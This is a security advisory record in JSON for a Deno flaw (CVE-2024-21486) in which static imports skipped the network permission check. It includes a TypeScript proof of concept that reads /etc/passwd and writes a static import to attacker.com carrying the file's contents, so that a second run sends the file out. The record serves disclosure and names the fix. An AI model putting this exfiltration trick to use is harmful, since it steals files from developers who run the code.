{"id":"GHSA-jv4x-jv3h-qff5","summary":"Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor","details":"### Summary\n\nStatic imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.\n\n### Details\n\nStatic imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:\n\n1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.\n2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.\n\n### PoC\n\n```ts\nconst __filename = new URL(\"\", import.meta.url).pathname;\nlet oldContent = await Deno.readTextFile(__filename);\nlet passFile = await Deno.readTextFile(\"/etc/passwd\");\nlet pre =\n  'import {foo} from \"[https://attacker.com?val=](https://attacker.com/?val=)' +\n  encodeURIComponent(passFile) + '\";\\n';\nawait Deno.writeTextFile(__filename, pre + oldContent);\n```\n\nExecuting a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.\n\nThis vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access","aliases":["CVE-2024-21486"],"modified":"2025-06-05T01:42:32.714310Z","published":"2025-06-05T01:21:08Z","database_specific":{"github_reviewed":true,"nvd_published_at":null,"severity":"MODERATE","cwe_ids":["CWE-200"],"github_reviewed_at":"2025-06-05T01:21:08Z"},"references":[{"type":"WEB","url":"https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5"},{"type":"PACKAGE","url":"https://github.com/denoland/deno"}],"affected":[{"package":{"name":"deno","ecosystem":"crates.io","purl":"pkg:cargo/deno"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-jv4x-jv3h-qff5/GHSA-jv4x-jv3h-qff5.json"}}],"schema_version":"1.7.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}